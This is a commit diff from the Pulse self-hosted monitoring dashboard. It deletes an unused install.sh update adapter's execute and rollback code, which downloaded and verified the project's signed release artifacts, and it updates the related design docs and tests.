Real-time monitoring dashboard for Proxmox VE, PBS, Docker, Kubernetes, TrueNAS and vSphere. Self-hosted, with alerts for failed backups, full disks, unhealthy containers and offline nodes.
Go aialertsdashboarddockerdocker-monitoringgohomelabinfrastructure-monitoringkubernetesmonitoringmspproxmoxproxmox-backup-serverproxmox-mail-gatewayproxmox-veself-hostedtruenastypescriptvspherewebhooks
Delete the unreachable adapter Execute/Rollback update path and the unused UpdateQueue
rcourtman33d318a29e80
diff --git a/docs/release-control/v6/internal/subsystems/agent-lifecycle.md b/docs/release-control/v6/internal/subsystems/agent-lifecycle.mdindex 02f00e74a7..939965fbf9 100644--- a/docs/release-control/v6/internal/subsystems/agent-lifecycle.md+++ b/docs/release-control/v6/internal/subsystems/agent-lifecycle.md@@ -156,7 +156,11 @@ credential wiring in `internal/api/router.go` (feeding the activation'sinstallation token and instance fingerprint to the server updater'sdownload-broker path) is likewise server self-update plumbing: agentenrollment, agent update liveness, and fleet-control semantics must not key-off it. Workflow starter counts on that endpoint,+off it. The same boundary covers the server updater's deployment adapters+behind `GET /api/updates/plan` in `internal/api/updates.go`: they are plan+providers only, with the real apply in the `internal/updates/manager.go`+pipeline, and lifecycle surfaces must not read them as an agent-side apply,+update, or rollback transport. Workflow starter counts on that endpoint,contextual Assistant/external-agent collaboration counts inside the Assistantstep, the content-free Patrol control starter split, and Patrol controlcompleted-loop, resolved-loop, or `patrolControlValueState` proof mirrored todiff --git a/docs/release-control/v6/internal/subsystems/api-contracts.md b/docs/release-control/v6/internal/subsystems/api-contracts.mdindex 20d36140c9..c4d8f7c548 100644--- a/docs/release-control/v6/internal/subsystems/api-contracts.md+++ b/docs/release-control/v6/internal/subsystems/api-contracts.md@@ -1576,6 +1576,11 @@ payload shape change when the portal presents compact client rows.target, so installer preflight failures point operators at the artifactthey actually need.84. `internal/api/updates.go` shared with `deployment-installability`: update handlers are both a deployment-installability control surface and a canonical API payload contract boundary.+ The updater registry behind `GET /api/updates/plan` is a plan-provider+ seam only (`SupportsApply`, `PrepareUpdate`, `GetDeploymentType`); apply+ and rollback semantics ride the manager pipeline behind+ `POST /api/updates/apply`, and the updates API exposes no per-deployment+ adapter execute or rollback transport.85. `pkg/aicontracts/fix_execution.go` shared with `ai-runtime`: the public approved-fix execution contract is both an AI runtime approved-action boundary and a canonical API dependency contract for Patrol and enterprise auto-fix binders.86. `pkg/aicontracts/investigation.go` shared with `ai-runtime`: the public Patrol investigation record and finding contract is both an AI runtime handoff boundary and a canonical API payload contract for Patrol, Assistant, unified findings, persistence, and audit surfaces.87. `pkg/aicontracts/orchestrator_deps.go` shared with `ai-runtime`: the public investigation orchestrator dependency contract is both an AI runtime handoff boundary and a canonical API payload contract for Assistant and Patrol tool-call history.diff --git a/docs/release-control/v6/internal/subsystems/deployment-installability.md b/docs/release-control/v6/internal/subsystems/deployment-installability.mdindex 80c9de45f3..c5458d4b62 100644--- a/docs/release-control/v6/internal/subsystems/deployment-installability.md+++ b/docs/release-control/v6/internal/subsystems/deployment-installability.md@@ -387,9 +387,8 @@ TLS floor in the dynamic config.at `./scripts/install.sh` and inside Docker images at`/opt/pulse/scripts/install.sh`, and is served at the running server's`/install.sh` endpoint; it is intentionally never the top-level GitHub- Releases asset. `internal/updates/adapter_installsh.go`,- `scripts/pulse-auto-update.sh`, and the root `install.sh`'s own- `--rc` / `--stable` / `--version` self-refetch flows all fetch+ Releases asset. `scripts/pulse-auto-update.sh` and the root `install.sh`'s+ own `--rc` / `--stable` / `--version` self-refetch flows all fetch`releases/<tag>/install.sh` and execute it via `bash -s -- --version vX.Y.Z`,and the README quickstart documents the same pattern. Publishing the agentinstaller in that slot silently breaks every one of those flows because the@@ -1368,10 +1367,6 @@ That same storage boundary also governs update-history persistence:`internal/updates/history.go` must normalize its owned data directory andresolve the fixed `update-history.jsonl` leaf through the shared storage-pathhelper instead of joining raw caller-provided directory strings.-That same boundary also governs install.sh rollback restore targets:-`adapter_installsh.go` may not hardcode `/etc/pulse` for rollback safety-backups or config restore, and must derive the rollback config directory-through that same shared runtime data-dir helper.That same runtime env contract also governs `pulse mock`: the CLI may not keepwriting a separate `mock.env` sidecar when supported runtime installs alreadycarry mock-mode ownership through `.env`. Mock enable/disable/status must use@@ -1601,12 +1596,13 @@ root `install.sh`, its generated update helper, and`scripts/pulse-auto-update.sh` must verify downloaded release tarballs andinstaller scripts against the pinned release `.sshsig` sidecars beforeexecution, rather than treating same-origin checksum files as a sufficient-trust anchor. The in-app updater binds to the same invariant: every-release artifact the Go updater fetches before applying or rolling back —-the update tarball in `internal/updates/manager.go::ApplyUpdate`, the-`install.sh` piped into bash by `internal/updates/adapter_installsh.go::downloadInstallScript`,-and the rollback binary tarball in-`internal/updates/adapter_installsh.go::downloadBinary` — must verify+trust anchor. The in-app updater binds to the same invariant: the only+place the Go updater fetches release artifacts is the apply pipeline in+`internal/updates/manager.go::ApplyUpdate` (the adapters in+`internal/updates/adapter_installsh.go` are plan providers only and download+nothing), and every artifact that pipeline fetches — community tarballs via+`downloadAndVerifyReleaseSignature`, Pro broker artifacts via their explicit+sidecar URL — must verifyits `.sshsig` sidecar against the pinned `pulse-installer` ed25519 key(identity `pulse-installer`, namespace `pulse-install`) and refuse toproceed if the sidecar is missing, malformed, or fails verification. Thediff --git a/docs/release-control/v6/internal/subsystems/storage-recovery.md b/docs/release-control/v6/internal/subsystems/storage-recovery.mdindex c34ab4a98f..d8546b5ef7 100644--- a/docs/release-control/v6/internal/subsystems/storage-recovery.md+++ b/docs/release-control/v6/internal/subsystems/storage-recovery.md@@ -545,7 +545,10 @@ recovery scope, or a storage/recovery-owned secret source.plumbing, not storage or recovery surface: storage and recovery must notconsume them, and the pre-update backup and rollback machinery in`internal/updates` stays identical for community and private Pro archives- so recovery semantics never fork by edition.+ so recovery semantics never fork by edition. That machinery lives solely+ in the `internal/updates/manager.go` apply pipeline; the deployment+ adapters behind the update-plan endpoint are plan providers only and own+ no download, restore, or rollback path.Proxmox-side LXC Docker inventory wiring may also pass through`internal/api/router.go` and Proxmox agent install-command generation, butstorage and recovery may consume the resulting app-container/resourcediff --git a/internal/api/updates.go b/internal/api/updates.goindex 8b522daf83..da67749942 100644--- a/internal/api/updates.go+++ b/internal/api/updates.go@@ -57,8 +57,8 @@ func NewUpdateHandlersWithContext(manager UpdateManager, history *updates.Updateregistry := updates.NewUpdaterRegistry()// Register adapters- registry.Register("systemd", updates.NewInstallShAdapter(history))- registry.Register("proxmoxve", updates.NewInstallShAdapter(history))+ registry.Register("systemd", updates.NewInstallShAdapter())+ registry.Register("proxmoxve", updates.NewInstallShAdapter())registry.Register("docker", updates.NewDockerUpdater())registry.Register("aur", updates.NewAURUpdater())if mockmode.IsEnabled() || strings.EqualFold(os.Getenv("PULSE_ALLOW_DOCKER_UPDATES"), "true") {diff --git a/internal/api/updates_test.go b/internal/api/updates_test.goindex 4ae08dfc88..e653197cd2 100644--- a/internal/api/updates_test.go+++ b/internal/api/updates_test.go@@ -642,6 +642,46 @@ func TestHandleGetUpdatePlan(t *testing.T) {}}+// TestUpdateHandlersRegistryProvidesPlans pins the registry wiring behind+// GET /api/updates/plan: every registered deployment adapter is a plan+// provider that yields usable instructions. The adapters own no apply or+// rollback machinery; the real apply runs through the manager pipeline.+func TestUpdateHandlersRegistryProvidesPlans(t *testing.T) {+ h := NewUpdateHandlers(nil, nil)++ cases := []struct {+ deploymentType string+ supportsApply bool+ }{+ {"systemd", true},+ {"proxmoxve", true},+ {"docker", false},+ {"aur", false},+ }++ for _, tc := range cases {+ t.Run(tc.deploymentType, func(t *testing.T) {+ updater, err := h.registry.Get(tc.deploymentType)+ if err != nil {+ t.Fatalf("registry.Get(%q): %v", tc.deploymentType, err)+ }+ if updater.SupportsApply() != tc.supportsApply {+ t.Errorf("SupportsApply() = %v, want %v", updater.SupportsApply(), tc.supportsApply)+ }+ plan, err := updater.PrepareUpdate(context.Background(), updates.UpdateRequest{Version: "v6.0.5"})+ if err != nil {+ t.Fatalf("PrepareUpdate: %v", err)+ }+ if len(plan.Instructions) == 0 {+ t.Errorf("expected plan instructions for %q", tc.deploymentType)+ }+ if plan.CanAutoUpdate != tc.supportsApply {+ t.Errorf("CanAutoUpdate = %v, want %v", plan.CanAutoUpdate, tc.supportsApply)+ }+ })+ }+}+func TestHandleGetUpdatePlan_IncludesUpgradeReadiness(t *testing.T) {setMockModeForTest(t, true)diff --git a/internal/updates/adapter_installsh.go b/internal/updates/adapter_installsh.goindex fe7d22983b..08bb67b6fb 100644--- a/internal/updates/adapter_installsh.go+++ b/internal/updates/adapter_installsh.go@@ -1,63 +1,23 @@package updatesimport (- "bufio""context"- "crypto/sha256"- "encoding/hex""fmt"- "io""os"- "os/exec"- "path/filepath"- "regexp""strings"- "sync"- "time"-- "github.com/rs/zerolog/log")-// InstallShAdapter wraps the install.sh script for systemd/LXC deployments-type InstallShAdapter struct {- history *UpdateHistory- installScriptURL string- logDir string-}--const defaultInstallShReleaseRepo = "rcourtman/Pulse"+// The adapters in this file are plan providers only: they describe how an+// update would be performed for a deployment type (GET /api/updates/plan).+// The actual apply for every deployment runs through the in-Go pipeline in+// manager.go ApplyUpdate.-func installShReleaseRepo() string {- repo := strings.TrimSpace(os.Getenv("PULSE_GITHUB_REPO"))- if repo == "" {- return defaultInstallShReleaseRepo- }- return repo-}--func installShReleaseDownloadPrefix() string {- return fmt.Sprintf("https://github.com/%s/releases/download/", installShReleaseRepo())-}--func resolveRollbackConfigDir() string {- return resolveUpdateDataDir()-}--func defaultInstallScriptLatestURL() string {- return fmt.Sprintf("https://github.com/%s/releases/latest/download/install.sh", installShReleaseRepo())-}--func installShReleaseAssetURL(version, assetName string) string {- return installShReleaseDownloadPrefix() + strings.TrimSpace(version) + "/" + assetName-}+// InstallShAdapter describes install.sh-based updates for systemd/LXC deployments+type InstallShAdapter struct{}// NewInstallShAdapter creates a new install.sh adapter-func NewInstallShAdapter(history *UpdateHistory) *InstallShAdapter {- return &InstallShAdapter{- history: history,- installScriptURL: defaultInstallScriptLatestURL(),- logDir: "/var/log/pulse",- }+func NewInstallShAdapter() *InstallShAdapter {+ return &InstallShAdapter{}}// SupportsApply returns true for systemd and proxmoxve deployments@@ -93,694 +53,6 @@ func (a *InstallShAdapter) PrepareUpdate(ctx context.Context, request UpdateRequreturn plan, nil}-// Execute performs the update by calling install.sh-func (a *InstallShAdapter) Execute(ctx context.Context, request UpdateRequest, progressCb ProgressCallback) error {- // Ensure log directory exists- if err := os.MkdirAll(a.logDir, 0755); err != nil {- return fmt.Errorf("failed to create log directory: %w", err)- }-- // Create log file- logFile := filepath.Join(a.logDir, fmt.Sprintf("update-%s.log", time.Now().Format("20060102-150405")))- logFd, err := os.Create(logFile)- if err != nil {- return fmt.Errorf("failed to create log file: %w", err)- }- defer func() {- if closeErr := logFd.Close(); closeErr != nil {- log.Warn().Err(closeErr).Str("log_file", logFile).Msg("Failed to close update log file")- }- }()-- // Download install script- progressCb(UpdateProgress{- Stage: "downloading",- Progress: 10,- Message: "Downloading installation script...",- })-- installScriptURL := a.installScriptURLForVersion(request.Version)-- log.Info().- Str("url", installScriptURL).- Str("version", request.Version).- Msg("downloading install script")-- installScript, err := a.downloadInstallScript(ctx, request.Version)- if err != nil {- return fmt.Errorf("failed to download install script: %w", err)- }-- // Prepare command- progressCb(UpdateProgress{- Stage: "preparing",- Progress: 20,- Message: "Preparing update...",- })-- // Validate version string to prevent command injection- // Version must match semantic versioning format (with optional 'v' prefix)- versionPattern := regexp.MustCompile(`^v?\d+\.\d+\.\d+(?:-[a-zA-Z0-9.-]+)?(?:\+[a-zA-Z0-9.-]+)?$`)- if !versionPattern.MatchString(request.Version) {- return fmt.Errorf("invalid version format: %s", request.Version)- }-- // Build command: bash install.sh --version vX.Y.Z.- // The server installer does not expose a --force flag; piping the script- // with an explicit version is already a non-interactive install/update path.- args := []string{"-s", "--", "--version", request.Version}-- cmd := exec.CommandContext(ctx, "bash", args...)- cmd.Stdin = strings.NewReader(installScript)-- // Create pipes for stdout and stderr- stdout, err := cmd.StdoutPipe()- if err != nil {- return fmt.Errorf("failed to create stdout pipe: %w", err)- }- stderr, err := cmd.StderrPipe()- if err != nil {- return fmt.Errorf("failed to create stderr pipe: %w", err)- }-- // Start command- if err := cmd.Start(); err != nil {- return fmt.Errorf("failed to start install script: %w", err)- }-- // Track backup path from output- var backupPath string- var backupPathMu sync.RWMutex- var progressMu sync.Mutex- emitProgress := func(progress UpdateProgress) {- progressMu.Lock()- defer progressMu.Unlock()- progressCb(progress)- }-- backupRe := regexp.MustCompile(`[Bb]ackup.*:\s*(.+)`)- var streamWG sync.WaitGroup-- // Monitor output- streamWG.Add(1)- go func() {- defer streamWG.Done()- scanner := bufio.NewScanner(stdout)- for scanner.Scan() {- line := scanner.Text()-- // Write to log file- if _, writeErr := fmt.Fprintln(logFd, line); writeErr != nil {- log.Warn().Err(writeErr).Str("log_file", logFile).Msg("Failed to write update stdout line to log")- }-- // Parse for backup path- if matches := backupRe.FindStringSubmatch(line); len(matches) > 1 {- backupPathMu.Lock()- backupPath = strings.TrimSpace(matches[1])- backupPathMu.Unlock()- }-- // Emit progress based on output- progress := a.parseProgress(line)- if progress.Message != "" {- emitProgress(progress)- }- }- if err := scanner.Err(); err != nil {- log.Debug().Err(err).Msg("Failed scanning install.sh stdout")- }- }()-- // Also capture stderr- streamWG.Add(1)- go func() {- defer streamWG.Done()- scanner := bufio.NewScanner(stderr)- for scanner.Scan() {- line := scanner.Text()- if _, writeErr := fmt.Fprintln(logFd, "STDERR:", line); writeErr != nil {- log.Warn().Err(writeErr).Str("log_file", logFile).Msg("Failed to write update stderr line to log")- }- }- if err := scanner.Err(); err != nil {- log.Debug().Err(err).Msg("Failed scanning install.sh stderr")- }- }()-- // Wait for completion- emitProgress(UpdateProgress{- Stage: "installing",- Progress: 50,- Message: "Installing update...",- })-- err = cmd.Wait()- streamWG.Wait()-- backupPathMu.RLock()- finalBackupPath := backupPath- backupPathMu.RUnlock()-- if err != nil {- // Read last few lines of log for error context- errorDetails := a.readLastLines(logFile, 10)-- emitProgress(UpdateProgress{- Stage: "failed",- Progress: 0,- Message: "Update failed",- IsComplete: true,- Error: errorDetails,- })-- return fmt.Errorf("install script failed: %w\n%s", err, errorDetails)- }-- emitProgress(UpdateProgress{- Stage: "completed",- Progress: 100,- Message: "Update completed successfully",- IsComplete: true,- })-- log.Info().- Str("version", request.Version).- Str("backup", finalBackupPath).- Str("log", logFile).- Msg("Update completed successfully")-- return nil-}--// Rollback rolls back to a previous version-func (a *InstallShAdapter) Rollback(ctx context.Context, eventID string) error {- // Get the event from history- entry, err := a.history.GetEntry(eventID)- if err != nil {- return fmt.Errorf("failed to get history entry: %w", err)- }-- if entry.BackupPath == "" {- return fmt.Errorf("no backup path available for event %s", eventID)- }-- // Check if backup exists- if _, err := os.Stat(entry.BackupPath); os.IsNotExist(err) {- return fmt.Errorf("backup not found: %s", entry.BackupPath)- }-- targetVersion := entry.VersionFrom- if targetVersion == "" {- return fmt.Errorf("no target version available in history")- }-- log.Info().- Str("event_id", eventID).- Str("backup", entry.BackupPath).- Str("current_version", entry.VersionTo).- Str("target_version", targetVersion).- Msg("starting rollback")-- // Create rollback history entry- rollbackEventID, err := a.history.CreateEntry(ctx, UpdateHistoryEntry{- Action: "rollback",- VersionFrom: entry.VersionTo,- VersionTo: targetVersion,- DeploymentType: a.GetDeploymentType(),- InitiatedBy: InitiatedByUser,- InitiatedVia: InitiatedViaCLI,- Status: StatusInProgress,- RelatedEventID: eventID,- Notes: fmt.Sprintf("Rolling back update %s", eventID),- })- if err != nil {- return fmt.Errorf("failed to create rollback history entry: %w", err)- }-- rollbackErr := a.executeRollback(ctx, entry, targetVersion)-- // Update rollback history- finalStatus := StatusSuccess- var updateError *UpdateError- if rollbackErr != nil {- finalStatus = StatusFailed- updateError = &UpdateError{- Message: rollbackErr.Error(),- Code: "rollback_failed",- }- }-- if err := a.history.UpdateEntry(ctx, rollbackEventID, func(e *UpdateHistoryEntry) error {- e.Status = finalStatus- e.Error = updateError- return nil- }); err != nil {- log.Warn().- Err(err).- Str("event_id", rollbackEventID).- Msg("Failed to update rollback history entry")- }-- return rollbackErr-}--// executeRollback performs the actual rollback operation-func (a *InstallShAdapter) executeRollback(ctx context.Context, entry *UpdateHistoryEntry, targetVersion string) error {- // Step 1: Detect service name- serviceName, err := a.detectServiceName()- if err != nil {- return fmt.Errorf("failed to detect service name: %w", err)- }-- log.Info().Str("service", serviceName).Msg("detected Pulse service")-- // Step 2: Download old binary- log.Info().Str("version", targetVersion).Msg("downloading old binary")- binaryPath, err := a.downloadBinary(ctx, targetVersion)- if err != nil {- return fmt.Errorf("failed to download binary: %w", err)- }- defer os.RemoveAll(filepath.Dir(binaryPath))-- // Step 3: Stop service- log.Info().Msg("stopping Pulse service")- if err := a.stopService(ctx, serviceName); err != nil {- return fmt.Errorf("failed to stop service: %w", err)- }-- // Step 4: Backup current config (safety)- configDir := resolveRollbackConfigDir()- safetyBackup := fmt.Sprintf("%s.rollback-safety.%s", configDir, time.Now().Format("20060102-150405"))- log.Info().Str("backup", safetyBackup).Msg("creating safety backup of current config")- if err := exec.CommandContext(ctx, "cp", "-a", configDir, safetyBackup).Run(); err != nil {- log.Warn().Err(err).Msg("failed to create safety backup")- }-- // Step 5: Restore config from backup- log.Info().Str("source", entry.BackupPath).Msg("restoring configuration")- if err := a.restoreConfig(ctx, entry.BackupPath, configDir); err != nil {- // Try to start service anyway- if startErr := a.startService(ctx, serviceName); startErr != nil {- log.Warn().- Err(startErr).- Str("service", serviceName).- Msg("Failed to restart Pulse service after configuration restore failure")- }- return fmt.Errorf("failed to restore config: %w", err)- }-- // Step 6: Install old binary- log.Info().Str("version", targetVersion).Msg("installing old binary")- installDir := "/opt/pulse/bin/pulse"- if err := a.installBinary(ctx, binaryPath, installDir); err != nil {- // Try to start service anyway- if startErr := a.startService(ctx, serviceName); startErr != nil {- log.Warn().- Err(startErr).- Str("service", serviceName).- Msg("Failed to restart Pulse service after binary install failure")- }- return fmt.Errorf("failed to install binary: %w", err)- }-- // Step 7: Start service- log.Info().Msg("starting Pulse service")- if err := a.startService(ctx, serviceName); err != nil {- return fmt.Errorf("failed to start service: %w", err)- }-- // Step 8: Health check- log.Info().Msg("verifying service health")- if err := a.waitForHealth(ctx, 30*time.Second); err != nil {- return fmt.Errorf("service health check failed: %w", err)- }-- log.Info().Str("version", targetVersion).Msg("rollback completed successfully")- return nil-}--// detectServiceName detects the active Pulse service name-func (a *InstallShAdapter) detectServiceName() (string, error) {- candidates := []string{"pulse", "pulse-backend", "pulse-hot-dev"}-- for _, name := range candidates {- cmd := exec.Command("systemctl", "is-active", name)- if output, err := cmd.Output(); err == nil {- status := strings.TrimSpace(string(output))- if status == "active" || status == "activating" {- return name, nil- }- }- }-- // Default to "pulse" if none are active- return "pulse", nil-}--// downloadBinary downloads a specific version binary from GitHub-func (a *InstallShAdapter) downloadBinary(ctx context.Context, version string) (string, error) {- // Ensure version has 'v' prefix- if !strings.HasPrefix(version, "v") {- version = "v" + version- }-- // Determine architecture- arch := "amd64"- if _, err := os.Stat("/proc/cpuinfo"); err == nil {- output, cmdErr := exec.Command("uname", "-m").Output()- if cmdErr != nil {- log.Debug().Err(cmdErr).Msg("Failed to detect CPU architecture with uname -m; using amd64")- } else {- machine := strings.TrimSpace(string(output))- if machine == "aarch64" || machine == "arm64" {- arch = "arm64"- }- }- }-- // Download URL - tarball with version in filename- tarballName := fmt.Sprintf("pulse-%s-linux-%s.tar.gz", version, arch)- url := installShReleaseAssetURL(version, tarballName)-- // Create temp file- tmpDir, err := os.MkdirTemp("", "pulse-rollback-*")- if err != nil {- return "", fmt.Errorf("failed to create rollback temp directory: %w", err)- }-- tarballPath := filepath.Join(tmpDir, tarballName)-- // Download tarball- cmd := exec.CommandContext(ctx, "curl", "-fsSL", "-o", tarballPath, url)- if err := cmd.Run(); err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("download failed: %w", err)- }-- // Download checksum- checksumURL := url + ".sha256"- checksumPath := tarballPath + ".sha256"- cmd = exec.CommandContext(ctx, "curl", "-fsSL", "-o", checksumPath, checksumURL)- if err := cmd.Run(); err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("failed to download checksum: %w", err)- }-- checksumData, err := os.ReadFile(checksumPath)- if err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("failed to read checksum file: %w", err)- }-- expectedHash := strings.Fields(strings.TrimSpace(string(checksumData)))- if len(expectedHash) == 0 {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("checksum file was empty")- }-- file, err := os.Open(tarballPath)- if err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("failed to open downloaded tarball: %w", err)- }- defer func() {- if closeErr := file.Close(); closeErr != nil {- log.Warn().Err(closeErr).Str("path", tarballPath).Msg("Failed to close downloaded tarball")- }- }()-- hasher := sha256.New()- if _, err := io.Copy(hasher, file); err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("failed to hash downloaded binary: %w", err)- }- actualHash := hex.EncodeToString(hasher.Sum(nil))-- if !strings.EqualFold(actualHash, expectedHash[0]) {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("checksum verification failed for %s", tarballName)- }-- if removeErr := os.Remove(checksumPath); removeErr != nil && !os.IsNotExist(removeErr) {- log.Debug().Err(removeErr).Str("path", checksumPath).Msg("Failed to remove checksum file")- }-- // Verify the SSHSIG sidecar against the pinned pulse-installer key — same- // trust root the unattended timer and public install.sh enforce.- if err := fetchAndVerifyReleaseSignature(ctx, url, tarballPath); err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("signature verification failed for %s: %w", tarballName, err)- }-- // Extract tarball to get the binary- extractDir := filepath.Join(tmpDir, "extracted")- if err := os.MkdirAll(extractDir, 0755); err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("failed to create extract directory: %w", err)- }-- // Extract: tar -xzf tarball -C extractDir- cmd = exec.CommandContext(ctx, "tar", "-xzf", tarballPath, "-C", extractDir)- if err := cmd.Run(); err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("failed to extract tarball: %w", err)- }-- // The binary is at extractDir/bin/pulse- binaryPath := filepath.Join(extractDir, "bin", "pulse")- if _, err := os.Stat(binaryPath); err != nil {- os.RemoveAll(tmpDir)- return "", fmt.Errorf("binary not found in tarball at expected path: %w", err)- }-- // Remove tarball to save space- if removeErr := os.Remove(tarballPath); removeErr != nil && !os.IsNotExist(removeErr) {- log.Debug().Err(removeErr).Str("path", tarballPath).Msg("Failed to remove downloaded tarball")- }-- return binaryPath, nil-}--// stopService stops the Pulse service-func (a *InstallShAdapter) stopService(ctx context.Context, serviceName string) error {- cmd := exec.CommandContext(ctx, "systemctl", "stop", serviceName)- return cmd.Run()-}--// startService starts the Pulse service-func (a *InstallShAdapter) startService(ctx context.Context, serviceName string) error {- cmd := exec.CommandContext(ctx, "systemctl", "start", serviceName)- return cmd.Run()-}--// restoreConfig restores configuration from backup-func (a *InstallShAdapter) restoreConfig(ctx context.Context, backupPath, targetPath string) error {- // Remove current config- if err := os.RemoveAll(targetPath); err != nil {- return fmt.Errorf("failed to remove current config: %w", err)- }-- // Copy backup to target- cmd := exec.CommandContext(ctx, "cp", "-a", backupPath, targetPath)- return cmd.Run()-}--// installBinary installs a binary to the target location-func (a *InstallShAdapter) installBinary(ctx context.Context, sourcePath, targetPath string) error {- // Backup current binary- if _, err := os.Stat(targetPath); err == nil {- backupPath := targetPath + ".pre-rollback"- if renameErr := os.Rename(targetPath, backupPath); renameErr != nil {- log.Warn().- Err(renameErr).- Str("target", targetPath).- Str("backup", backupPath).- Msg("Failed to back up existing binary before install")- }- }-- // Copy new binary- if err := exec.CommandContext(ctx, "cp", sourcePath, targetPath).Run(); err != nil {- return fmt.Errorf("copy binary to %s: %w", targetPath, err)- }-- // Set permissions- if err := os.Chmod(targetPath, 0755); err != nil {- return fmt.Errorf("set permissions on %s: %w", targetPath, err)- }-- // Set ownership- if err := exec.CommandContext(ctx, "chown", "pulse:pulse", targetPath).Run(); err != nil {- return fmt.Errorf("set ownership on %s: %w", targetPath, err)- }- return nil-}--// waitForHealth waits for the service to become healthy-func (a *InstallShAdapter) waitForHealth(ctx context.Context, timeout time.Duration) error {- retryTicker := time.NewTicker(2 * time.Second)- defer retryTicker.Stop()-- timeoutTimer := time.NewTimer(timeout)- defer timeoutTimer.Stop()-- for {- // Try to hit health endpoint- cmd := exec.CommandContext(ctx, "curl", "-fsS", "http://localhost:7655/api/health")- if err := cmd.Run(); err == nil {- return nil- }-- // Wait before retry- select {- case <-ctx.Done():- return ctx.Err()- case <-timeoutTimer.C:- return fmt.Errorf("service did not become healthy within %v", timeout)- case <-retryTicker.C:- }- }-}--func (a *InstallShAdapter) installScriptURLForVersion(version string) string {- if strings.TrimSpace(version) == "" {- return a.installScriptURL- }- if a.installScriptURL != defaultInstallScriptLatestURL() {- return a.installScriptURL- }- return installShReleaseAssetURL(version, "install.sh")-}--// downloadInstallScript downloads the install.sh script-func (a *InstallShAdapter) downloadInstallScript(ctx context.Context, version string) (string, error) {- tmpDir, err := os.MkdirTemp("", "pulse-installsh-*")- if err != nil {- return "", fmt.Errorf("failed to create install.sh temp directory: %w", err)- }- defer os.RemoveAll(tmpDir)-- scriptPath := filepath.Join(tmpDir, "install.sh")- installScriptURL := a.installScriptURLForVersion(version)-- cmd := exec.CommandContext(ctx, "curl", "-fsSL", "-o", scriptPath, installScriptURL)- if err := cmd.Run(); err != nil {- return "", fmt.Errorf("failed to download install.sh: %w", err)- }-- checksumURL := installScriptURL + ".sha256"- checksumPath := scriptPath + ".sha256"- cmd = exec.CommandContext(ctx, "curl", "-fsSL", "-o", checksumPath, checksumURL)- if err := cmd.Run(); err != nil {- return "", fmt.Errorf("failed to download install.sh checksum: %w", err)- }-- checksumData, err := os.ReadFile(checksumPath)- if err != nil {- return "", fmt.Errorf("failed to read install.sh checksum: %w", err)- }-- expectedParts := strings.Fields(strings.TrimSpace(string(checksumData)))- if len(expectedParts) == 0 {- return "", fmt.Errorf("install.sh checksum file was empty")- }-- file, err := os.Open(scriptPath)- if err != nil {- return "", fmt.Errorf("failed to open install.sh for hashing: %w", err)- }- defer func() {- if closeErr := file.Close(); closeErr != nil {- log.Warn().Err(closeErr).Str("path", scriptPath).Msg("Failed to close install.sh file")- }- }()-- hasher := sha256.New()- if _, err := io.Copy(hasher, file); err != nil {- return "", fmt.Errorf("failed to hash install.sh: %w", err)- }-- actualHash := hex.EncodeToString(hasher.Sum(nil))- if !strings.EqualFold(actualHash, expectedParts[0]) {- return "", fmt.Errorf("install.sh checksum verification failed")- }-- // Verify the SSHSIG sidecar before we pipe install.sh into bash as root.- // scripts/pulse-auto-update.sh and the public scripts/install.sh both- // require this; the in-app updater must too.- if err := fetchAndVerifyReleaseSignature(ctx, installScriptURL, scriptPath); err != nil {- return "", fmt.Errorf("install.sh signature verification failed: %w", err)- }-- content, err := os.ReadFile(scriptPath)- if err != nil {- return "", fmt.Errorf("failed to read install.sh: %w", err)- }-- return string(content), nil-}--// parseProgress attempts to parse progress from install script output-func (a *InstallShAdapter) parseProgress(line string) UpdateProgress {- line = strings.ToLower(line)-- // Map common install.sh output to progress stages- patterns := map[string]UpdateProgress{- "downloading": {Stage: "downloading", Progress: 30, Message: "Downloading update..."},- "extracting": {Stage: "extracting", Progress: 40, Message: "Extracting files..."},- "installing": {Stage: "installing", Progress: 60, Message: "Installing..."},- "backup": {Stage: "backing-up", Progress: 25, Message: "Creating backup..."},- "configur": {Stage: "configuring", Progress: 70, Message: "Configuring..."},- "restart": {Stage: "restarting", Progress: 90, Message: "Restarting service..."},- "complet": {Stage: "completed", Progress: 100, Message: "Update completed", IsComplete: true},- "success": {Stage: "completed", Progress: 100, Message: "Update completed", IsComplete: true},- }-- for pattern, progress := range patterns {- if strings.Contains(line, pattern) {- return progress- }- }-- return UpdateProgress{}-}--// readLastLines reads the last N lines from a file-func (a *InstallShAdapter) readLastLines(filepath string, n int) string {- if n <= 0 {- return ""- }-- file, err := os.Open(filepath)- if err != nil {- return ""- }- defer func() {- if closeErr := file.Close(); closeErr != nil {- log.Debug().Err(closeErr).Str("path", filepath).Msg("Failed to close log file while reading last lines")- }- }()-- // Read file backwards (simplified approach - read all lines and take last N)- var lines []string- scanner := bufio.NewScanner(file)- for scanner.Scan() {- lines = append(lines, scanner.Text())- }-- if len(lines) == 0 {- return ""- }-- start := len(lines) - n- if start < 0 {- start = 0- }-- return strings.Join(lines[start:], "\n")-}-// DockerUpdater provides instructions for Docker deploymentstype DockerUpdater struct{}@@ -818,14 +90,6 @@ func (u *DockerUpdater) PrepareUpdate(ctx context.Context, request UpdateRequest}, nil}-func (u *DockerUpdater) Execute(ctx context.Context, request UpdateRequest, progressCb ProgressCallback) error {- return fmt.Errorf("docker deployments do not support automated updates")-}--func (u *DockerUpdater) Rollback(ctx context.Context, eventID string) error {- return fmt.Errorf("docker rollback not supported via API")-}-// AURUpdater provides instructions for Arch Linux AUR deploymentstype AURUpdater struct{}@@ -856,14 +120,6 @@ func (u *AURUpdater) PrepareUpdate(ctx context.Context, request UpdateRequest) (}, nil}-func (u *AURUpdater) Execute(ctx context.Context, request UpdateRequest, progressCb ProgressCallback) error {- return fmt.Errorf("aur deployments must be updated via package manager")-}--func (u *AURUpdater) Rollback(ctx context.Context, eventID string) error {- return fmt.Errorf("aur rollback not supported")-}-// Ensure adapters implement Updater interfacevar (_ Updater = (*InstallShAdapter)(nil)diff --git a/internal/updates/adapter_installsh_exec_test.go 